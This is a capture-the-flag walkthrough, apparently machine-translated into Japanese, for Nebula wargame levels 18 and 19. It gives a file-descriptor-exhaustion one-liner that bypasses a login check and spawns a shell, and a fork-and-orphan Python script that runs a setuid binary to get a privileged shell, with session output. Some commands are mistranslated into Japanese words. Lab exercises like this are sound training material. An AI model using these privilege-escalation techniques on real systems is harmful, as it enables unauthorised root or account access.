ログイン機能について詳しく見てみましょう。特に、認証機能はログイン機能に責任があるためです。 たくさんのファイル記述子を作成してみましょう。 その結果、 fopenNULLを返す必要があり、コードによって判断すると、認証フラグが設定されます。 シェルを実行するだけです:



 python -c 'print("login me\n"*2000 +"closelog\nshell")' | ./flag18 --init-file -d /dev/tty
      
      





多数の認証メッセージとシェル自体を取得します。



正常にログインしました(パスワードファイルなし)

ls

flag18パスワード

猫のパスワード

44226113-d394-4f46-9406-91888128e27a

getflag

ターゲットアカウントでgetflagを正常に実行しました


レベル19



レベルの説明は、プログラムにエラーがあることを示しており、実行時にそれを探す必要があります。



level19.c
 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); }
      
      







コードから判断すると、プロセスはUID = 0で何らかの形で開始されている必要があります。 いくつかの検索の後プロセスのフォークを作成してからその親を殺すと、システムはこのフォークを新しい親に自動的に割り当てることを学ぶ記事を見つけます:PID = 1のプロセスまたはいわゆるinit。



Pythonでは、このアプローチの実装は次のとおりです。



 #!/usr/bin/python import os, time def child(): print 'Child ', os.getpid() time.sleep(1) print "Running shell..." os.execv("/home/flag19/flag19", ('sh',)) def parent(): newpid = os.fork() if newpid == 0: child() else: pids = (os.getpid(), newpid) print "parent: %d, child: %d" % pids parent()
      
      





開始後、必要なシェルを取得します。



 level19@nebula:/home/flag19$ cat|python /tmp/flag19.py parent: 3828, child: 3829 Child 3829 Running shell... id uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19) getflag You have successfully executed getflag on a target account
      
      





それだけです



All Articles